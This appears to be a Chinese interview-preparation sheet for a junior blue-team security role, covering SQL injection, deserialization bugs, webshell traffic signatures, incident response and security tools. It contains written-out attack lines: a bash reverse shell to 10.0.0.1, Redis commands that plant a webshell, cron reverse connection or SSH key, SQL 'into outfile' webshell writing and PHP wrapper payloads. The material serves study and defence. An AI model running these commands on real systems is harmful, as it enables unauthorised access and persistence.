自我介绍
你好,我叫XXX,是今天面试初级蓝队的人员,我毕业于XXXX,专业为网络空间安全,我曾经在XXXXX实习过,有过大概一年左右的工作经验,还有过一定的护网经验,去年在XXX厂商护过网,在监测岗(在流量传感器中监测告警信息和恶意流量,发攻击ip到封禁群里,通知每日的告警数量并整理),在专业上我熟悉基本的漏洞类型,如:SQL注入、XSS、CSRF、SSRF、文件上传等漏洞,熟悉sqlmap,burpsuite,wireshark、msf、cs等渗透工具使用。
1.负责特殊时期的安全保障工作
2.进行业务系统的监测防护
3.应急响应
4.定期的漏洞扫描和出具报告
蓝队要准备什么样的工作
资产的梳理:包括安全设备资产、对外服务资产、外包业务资产
风险排查:基础设施的风险排查、账号信息排查、暴露面排查
安全管理:攻防战之前的统一管控
看你平常有在挖洞,都挖的什么洞
平时在挖企业SRC漏洞和教育的SRC漏洞,挖一些逻辑漏洞(验证码爆破漏洞 、短信轰炸漏洞、权限类(水平,垂直越权)、修改订单漏洞)教育漏洞是先进行信息收集,收集他的真实ip,子域名,端口,进行cms指纹识别,通过子域名扫描出来的信息,进入了他的后台,发现是一个已经爆出漏洞的通达oa的办公系统,进行了poc的利用
这里假设有一个注入点,你打算怎么进行 sql 注入
(1)、用order by进行字段数的判断
(2)、用union联合查询判断回显点
(3)、查询数据库的相关内容、
SQL注入的类型
按照执行效果来分
布尔盲注、时间盲注、报错注入、联合查询注入
按照注入点类型分
数字型,字符型,搜索型
Linux 的重要目录
etc/passwd、etc/shadow 用户的相关信息
日志:/var/log/message系统日志
/var/log/secure 安全日志
/var/log/lastb 最后一次登陆的日志(last查看)
/var/spool/cron 有计划任务
/home/用户名/ssh 记录了公钥,看看有没有被留后门
知道反序列化吗
了解过,反序列化就是把字节序列转化为对象
java反序列化
序列化: ObjectOutputStream类 --> writeObject()
反序列化: ObjectInputStream类 --> readObject()
php反序列化
序列化:serialize
反序列化:unserialize
常见的反序列化漏洞
Apache Shiro (Shiro-550)远程代码执行-漏洞复现
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。
服务器对cookie值base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
特征判断:
返回包中包含rememberMe=deleteMe字段。
Apache Shiro 反序列化漏洞(Shiro-721 CVE-2016-4437)
通过Padding Oracle Attack(填充提示攻击)攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。
log4j远程代码执行漏洞
Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到`${`后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
fastjson反序列化
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,fastjson在反序列化过程中会获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题
文件上传
在有文件上传点的地方,倘若web网站没有对文件类型进行严格的校验,导致可执行文件上传到了服务器,恶意程序就会执行。
绕过方式:
文件包含
XSS、CSRF和SSRF的区别
XSS(跨站脚本攻击)
原理:攻击者利用网站漏洞在页面中插入恶意代码,其他用户访问就会受到攻击
可以理解为攻击者窃取用户的身份信息进行操作
CSRF(跨站请求伪造)
原理:攻击者利用已经登录的用户,去诱导他访问攻击者精心构造好的页面,伪造用户的信息进行非法的请求
可以理解为攻击者没有窃取用户身份信息但是他通过其它手段获取了你的一次性身份信息的利用进行非法请求
SSRF(服务端请求伪造)
原理:由攻击者构造,服务器发起请求,利用有漏洞的服务器去攻击内网中其他服务器
可以理解为攻击者利用服务器的不严谨的过滤限制,将服务器当作跳板利用进行操作
XSS、SSRF、和重放攻击的区别
XSS是跨站脚本攻击,是由客户端发起
SSRF是服务端请求伪造,是由服务端发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的
渗透测试流程
信息收集:
1、获取域名whois信息
2、服务器子域名、旁站、c段查询
3、服务器操作系统版本补丁状况、web中间件类型、版本、数据库类型等
4、服务器开放端口:22 ssh 80 web 445 3389。
漏洞扫描:
nessus,awvs ,appscan
漏洞验证:
是否存在漏洞,是否可以拿到webshell或者其他权限
权限提升:
windows内核溢出提权,数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权
linux内核漏洞提权、sudoer配置文件错误提权、SUDO、SUID
横向渗透
日志清理
内网渗透流程
*内网信息收集
*漏洞探测
*漏洞利用
*权限提升
*权限维持
SQL注入的防范测试
(1)、分级管理,只有系统管理员才有增、删、改、查的权限
(2)、参数传值,通过设置相应的参数来传递相关的变量
(3)、基础过滤
(4)、使用安全参数
(5)、漏洞扫描
(6)、数据库信息加密
SQL注入的流量特征
在天眼的流量传感器中,监测进来的sql流量,先判断是手工注入还是工具注入,然后根据流量特征进行判断
1.参数长度异常:攻击者通常会在SQL注入攻击中使用长参数来尝试构建恶意语句,因此在网络流量中需要寻找异常长度的参数。
2.非法字符:攻击者通常使用非法字符来构建恶意SQL语句,如单引号、分号等。
3.异常请求:攻击者可能会在HTTP请求中包含多个语句或查询,或者在HTTP请求中包含错误或缺失的参数。
4.错误响应:如果应用程序未正确处理SQL注入攻击,则可能会返回错误响应。攻击者可以通过分析响应以查找此类错误,并尝试进一步攻击。
5.非常规流量:攻击者可能会在较短时间内发送大量请求,或在同一时间窗口内多次发送相同请求。这种非常规流量模式可能表明攻击正在进行中。
OWASP十大漏洞
失效的访问控制
加密机制失效
注入
不安全设计
安全配置错误
自带缺陷和过时的组件
身份识别和身份验证错误
软件和数据完整性故障
安全日志和监控故障
服务端请求伪造
常见中间件漏洞
(一) IIS
解析漏洞
(二) Apache
解析漏洞
目录遍历
(三) Nginx
文件解析
目录穿越
(四)Tomcat
1、任意文件上传
2、未授权弱口令+war后门文件部署
(五)jBoss
1、反序列化漏洞
2、war后门文件部署
(六)WebLogic
1、反序列化漏洞
攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
3、任意文件上传
4、war后门文件部署
常见的框架漏洞?
log4j远程代码执行漏洞
原理: Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到`{\`后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。 具体操作: 在正常的log处理过程中对\*\*{**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行
Fastjson反序列化漏洞
判断: 正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。 原理: fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。 特征: Fastjson的消息头通常包含"Content-Type: application/json"和"User-Agent: fastjson" Fastjson消息体通常是JSON格式的字符串
Shiro反序列化漏洞
原理: Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。 判断: 1.数据返回包中包含rememberMe=deleteMe字段。 2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。 shiro-550: shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。 shiro-721: 不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
struts2远程代码执行漏洞(s2 -062)
可以通过构造恶意的OGNL表达式发送post请求来验证漏洞
常见的Webshell连接工具流量
菜刀流量特征 (最开始是明文传输,后来采用 base64 加密)
请求包中会有eval,assert, base64的特征字符,payload为base64加密
蚁剑流量特征
1、默认的 user-agent 请求头是 antsword xxx(可修改)
2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set("display_errors","0");
.冰蝎流量特征
2.0 第一阶段请求中返回包状态码为200,响应包返回内容必定是16位的密钥
3.0 存在eval或assert等字符特征,全程无明文交互,密钥格式为连接密码md5值的前十六位字符,默认密码是rebeyond。
内置了很多ua头,看到同一个ip请求,而他们的ua头进行变化就要注意了
哥斯拉
1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。
2.在响应包的cache-control字段中有no-store,no-cache等特征。
3.所有请求中的cookie字段最后面都存在;特征。
windows、Linux应急响应
windows应急响应
(1)、检查系统账号安全
(2)、检查异常的端口和进程
(3)、检查启动项、计划任务、服务
(4)、检查系统相关信息
(5)、自动化查杀
(6)、日志分析
(7)、对系统进行防御加固
挖矿应急响应
1、先用ps和top查看进程和cpu占用率。用pwdx根据pid查看文件在哪。
2、把挖矿病毒文件删了,然后taskkill -9 pid干掉程序。
3、在排查计划任务 看/etc/crontab 还有/var/spool/ 的cron里面 在等几分钟,如果挖矿木马没有重新出现在进程里 如果重新出现,说明失败。
4、再通过systemctl status pid排查他的守护进程,并进行逐一清除。
挖矿的流量特征
可以通过观察请求包和响应包的数据流量,可以发现一些异常的ip地址,把他放到在线威胁情报中心,可以识别出这个ip是恶意的代理ip还是矿池的ip,还有就是他会有一些特征的字符串,比如miner(矿石)
上传webshell应急响应
1、将服务进行下线隔离
2、确定入侵时间
3、对web日志进行分析
4、清除webshell文件、修复漏洞
5、用D盾和webshell河马查杀
反弹Shell应急响应
明确反弹shell写法: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
1、登录服务器查看命令:ps -ef,过滤出反弹shell的进程
2、定位进程启动路径,命令:pwdx pid
3、进入启动路径,确认启动的服务是否正常,命令:cd *
4、定位可疑文件,并删除。命令:rm
5、停止进程shell进程,命令:kill -9 pid
内存马的应急响应
内存马是恶意程序把自己注入到进程的内存中,而且他不占用磁盘空间,所以很难被杀毒软件监测和拦截
我们可以通过对进程进行分析(进程名称、PID、所属用户、内存占用)
对系统日志进行分析(系统启动、服务开启、网络连接)
使用内存分析工具
使用网络监测工具
使用过的安全设备
IDS(入侵检测系统):天融信的入侵检测系统、腾讯云
IPS(入侵防御系统)方面:安全洋葱(security Onion)
安全感知系统:奇安信天眼
WAF(Web应用防火墙 ):安全狗以及宝塔
威胁情报方面:360威胁情报中心、微步在线情报中心
漏洞扫描方面:nessus、AWVS、appscan、goby
沙箱:可以让我们把一些不确定是否是病毒,恶意文件,可以上传到沙箱里,分析其实不是恶意文件。
蜜罐方面:微步的Hfish
登陆注册框页面可以测试哪些漏洞
1、弱口令
2、sql注入
3、暴力破解
4、验证码绕过
5、目录扫描工具
6、js敏感信息泄露
SQL注入怎么写入webshell?
1、知道web绝对路径
2、有文件写入权限(一般情况只有ROOT用户有)
3、数据库开启了secure_file_priv设置
然后就能用select into outfile/into dumpfile写入webshell
浏览器的同源策略
同源策略是浏览器最核心也是最基本的安全功能, 如果两个URL的协议、域名、端口号都相同,就称这两个URL同源。
跨域资源共享(CORS)
jsonp跨域
绕过方法
常规绕过:小写、双写、编码、注释、垃圾字符、分块传输、HPP、WAF 特性等
白名单绕过:MIME类型、%00截断、0x00截断、0x0a截断
黑名单绕过:大小写、空格、点号绕过、双写绕过
PHP常用的伪协议
1、php://input
可以用于执行php代码,通过post请求提交我们的代码
2、php://filter
用于读取源码,通过get请求提交参数。它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。
常用形式:
?a=php://filter/read=convert.base64/resource=xxx.php
3、zip、phar伪协议
用于读取压缩包中的文件
4、file:// 文件协议
常用格式:
file://[本地文件系统的绝对路径]
例如:?file=file://D:/Server/htdocs/emlog/phpinfo.txt
5、data协议
常用格式:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例如:
?page=data://text/plain,
权限提升
windows内核溢出提权,数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权
linux内核漏洞提权、sudoer配置文件错误提权、SUID、SUDO
在天眼的流量传感器中遇到了一个告警,他没有源ip(攻击ip)是为什么?
可能是弹出恶意广告,他是一个告警,无法找到攻击ip,而天眼获取的ip都是从数据包里面找的,没有数据包,也就没有攻击ip这个字段
天眼的工作原理?
将各个部署的流量传感器中的流量收集起来,统一进行查看分析
天眼构成:
①流量传感器(探针)②文件威胁鉴定器(沙箱)③分析平台 ④天擎(若有)
看天眼的时候,同一个告警,同一时间出现了两遍怎么回事
同一个数据包中匹配到了多条天眼的规则,所以出现多个告警
怎么确定web攻击是误报
web攻击误报,需要查看数据包的内容,从内容判断,是否含有攻击代码,恶意语句等
哪些是内网,那些是外网,怎么判断?
判断内外网可以从ip来判断,例如:内网ip都是10.10.开头的
IPS和IDS的区别
A、IPS对于初始者来说,是位于防火墙和网络的设备之间的设备。这样,如果检测到攻击,IPS会在这种攻击扩散到网络的其它地方之前阻止这个恶意的通信。而IDS只是存在于你的网络之外起到报警的作用,而不是在你的网络前面起到防御的作用。
B、IPS具有检测已知和未知攻击并具有成功防止攻击的能力而IDS没有
C、IDS的局限性是不能反击网络攻击,因为IDS传感器基于数据包嗅探技术,只能眼睁睁地看着网络信息流过。IPS可执行IDS相同的分析,因为他们可以插入网内,装在网络组件之间,而且他们可以阻止恶意活动
SQL延时注入sleep函数被禁用怎么办
可以用下面的函数代替
benchmark():BENCHMARK(count,expr):BENCHMARK会重复计算expr表达式count次
pg_sleep():pg_sleep(seconds):pg_sleep让当前的会话进程休眠 seconds 秒以后再执行
sql宽字节追原理
mysql在使用GBK编码(GBK是宽字节,双字节)的时候,会认为两个字符是一个汉字,我们输入的字符和转义的反斜杠组成了新的汉字,但是组成的新汉字又不是一个正常的汉字,就起到了注掉 \ 的作用
正向代理与反向代理的区别
正向代理是代理客户端,反向代理是代理服务器。
而根据这核心的区别,我们也可以记住:代理哪端便可以隐藏哪端。
也就是说:
正向代理隐藏真实客户端,反向代理隐藏真实服务端。
在监测的时候漏掉一条流量,客户问你的时候怎么回答?
筛查其他流量的时候,没看到这一条,不过后续他有任何其他操作,我们设备这边相互配合都可以看到的
一个ip被封,但是又出现了
可能是出口防火墙封禁的内网的ip,但是此时是内网的两台机器在内网中通信,出口防火墙管不了
Redis漏洞
1、写入webshell,用:config set dir /var/www/html/ 动态修改写入的路径到网站根目录下,再动态修改写入文件的文件名:config set dbfilename zcc.php,用webshell管理工具连接
2、在定时任务里面写入反弹连接
config set dir /var/spool/cron/ config set dbfilename root
3、导入密钥,免密登录
现在攻击机上生成密钥
ssh-keygen -t rsa
将生成的公钥写入靶机服务器的内存之中
cat key.txt | redis-cli -h 192.168.190.128 -x set xxx // -x 代表从标准输入读取数据作为该命令的最后一个参数。
config set dir /root/.ssh config set dbfilename authorized_keys save